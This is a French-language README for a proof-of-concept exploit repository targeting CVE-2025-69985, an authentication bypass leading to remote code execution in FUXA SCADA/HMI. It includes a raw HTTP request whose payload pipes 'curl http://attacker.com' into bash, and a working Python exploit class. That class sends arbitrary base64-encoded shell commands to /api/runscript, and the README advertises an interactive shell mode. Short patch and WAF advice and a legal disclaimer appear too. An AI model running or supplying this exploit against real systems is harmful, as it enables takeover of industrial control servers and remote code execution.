
Exploit PoC pour CVE-2025-69985 : contournement de l'authentification menant à une RCE dans FUXA SCADA ≤1.2.8. Comprend un exploit Python modulaire avec shell interactif, encodage de charge utile en Base64 et support de proxy pour les tests de pénétration.
Ce dépôt contient une Preuve de Concept (PoC) et une documentation technique détaillée sur la vulnérabilité CVE-2025-69985, qui affecte FUXA (versions ≤1.2.8). La vulnérabilité permet à un attaquant non authentifié d'exécuter des commandes arbitraires sur le serveur (RCE) via un contournement d'authentification dans le middleware de l'application.
Contrairement aux vulnérabilités traditionnelles comme les débordements de mémoire sous Windows, cette faille réside dans une faiblesse logique du middleware, où le serveur confond les requêtes externes avec les internes en raison d'une validation incorrecte de l'en-tête Referer.
| CVE | CVE-2025-69985 |
|---|---|
| Type | Authentication Bypass via Alternate Path (CWE-288) |
| Impact | Remote Code Execution (RCE) |
| Gravité | 9.8 CRITIQUE (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Versions Affectées | FUXA ≤ 1.2.8 |
| Plateforme | Node.js |
| Produit | FUXA (SCADA/HMI basé sur le web) |
Le middleware de FUXA fait aveuglément confiance à l'en-tête Referer. Si un attaquant envoie une requête avec :
Referer: http://<target-ip>/
Le serveur suppose que la requête est interne et omet la vérification du jeton JWT, permettant l'accès à des points de terminaison protégés sans authentification.
Une fois l'authentification contournée, l'attaquant peut interagir avec le point de terminaison /api/runscript, conçu pour exécuter des scripts Node.js. En envoyant une charge utile JSON malveillante, on obtient le contrôle total du processus serveur.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ Remarque : Cet exemple est illustratif. Ne pas exécuter dans des environnements de production sans autorisation.
| Produit | Versions | Plateforme |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
Mise à Jour Immédiate Mettre à jour FUXA vers une version supérieure à 1.2.8 (correctif officiel).
Correctif Manuel
Modifier server/api/jwt-helper.js pour supprimer la confiance dans l'en-tête Referer comme méthode d'authentification.
Implémentation d'un WAF
Configurer un pare-feu applicatif web pour bloquer les requêtes vers le point de terminaison /api/runscript qui ne proviennent pas de réseaux administratifs connus, indépendamment de l'en-tête Referer.
🔴 Ce matériel est destiné uniquement à des fins éducatives et d'audit de sécurité. 🔴 L'utilisation de ces techniques contre des systèmes sans autorisation explicite est illégale. 🔴 Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations.
Fonctionnalités avancées qui élèvent cet exploit au niveau professionnel (style Exploit-DB ou outils Red Team) :
| Caractéristique | Description |
|---|---|
| 🔹 Gestion Dynamique du Shell | Mode --interactive (-i) qui ouvre un REPL interactif pour exécuter plusieurs commandes. |
| 🔹 Détection et Empreinte | Vérifie si le point de terminaison /api/runscript existe avant de lancer l'attaque (check_vulnerable()). |
| 🔹 Charge Utile Améliorée | Commande encodée en Base64 pour éviter les problèmes d'échappement de caractères (&, >, ", etc.). |
| 🔹 Robustesse Réseau | Support des User-Agent aléatoires et des proxys (utile pour Burp Suite ou le débogage). |
| 🔹 POO (Programmation Orientée Objet) | Classe FuxaExploit modulaire, réutilisable et extensible. |
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica si el endpoint existe antes de atacar."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload mejorado: Encoding en Base64 para evitar romper el JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"